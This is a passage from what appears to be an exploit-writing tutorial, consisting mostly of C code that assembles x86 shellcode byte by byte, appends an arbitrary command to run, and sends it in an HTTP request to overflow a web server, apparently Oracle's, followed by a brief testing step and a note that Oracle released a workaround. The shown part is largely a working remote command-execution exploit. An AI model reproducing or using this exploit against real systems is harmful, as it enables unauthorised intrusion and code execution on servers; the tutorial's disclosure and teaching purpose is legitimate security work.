            // sub byte ptr[edx],0x58                             

        exploit[count++]=0x80; 

            exploit[count++]=0x2A; 

            exploit[count++]=0x58; 

                      

            // xor esi,esi 

             exploit[count++]=0x33; 

            exploit[count++]=0xF6;                            

  

            // push esi 

             exploit[count++]=0x56;                          

  

            // add eax,4 

             exploit[count++]=0x83; 

            exploit[count++]=0xC0; 

            exploit[count++]=0x04;                                         



            

            // push eax 

             exploit[count++]=0x50;    

  

            // mov ebx,77F1A986h 

             exploit[count++]=0xBB; 

            exploit[count++]=0x86; 

            exploit[count++]=0xA9; 

            exploit[count++]=0xF1; 

            exploit[count++]=0x77;                  

  

            // call ebx 

             exploit[count++]=0xFF; 

            exploit[count++]=0xD3;                            

  

            // mov ebx,77F19F92h 

             exploit[count++]=0xBB; 

            exploit[count++]=0x92; 

            exploit[count++]=0x9F; 

            exploit[count++]=0xF1; 

            exploit[count++]=0x77; 

  

            // call ebx 

             exploit[count++]=0xFF; 

            exploit[count++]=0xD3;       



  

            // append our "special" byte 

            exploit[count++]=0x7A;       

            exploit[count++]=0x7A; 

            exploit[count++]=0x7A; 

            exploit[count++]=0x7A; 

  

            // Tack exploit code onto the buffer 

            strcat(buffer, exploit); 

  

            // Slap on our command to run 

            strncat(buffer,commandtorun,2000); 

  

            // These are needed to denote the end of our HTTP request 

            strcat(buffer, "\n\n"); 

            

  

            // Send our exploit code 

            snd = send(sock,buffer,strlen(buffer),0); 

  

            printf("Payload sent to server - if you don't get a 5xx response the exploit has failed:\n"); 

            rcv = recv(sock,resp,20,0); 

            printf("%s",resp); 

            closesocket(sock); 

                        } 



                        

                        

            

return 0; 

} 

  

  

  

  

  

  

  

7) Test it. 

Once the code is written all that’s left is to test it. Then debug, re-write and re-test until you get it right. 

  

  

Protection. 

Oracle were informed about this overrun issue and several other problems in April and they have made 

a workaround available from Technet 

http://technet.oracle.com/products/oas/index2.htm?Support&pdf/owsbina.pdf 

  

  

  

  

  

  



  

  

  

  

  

  

  

  

  

  

  

  

  

  


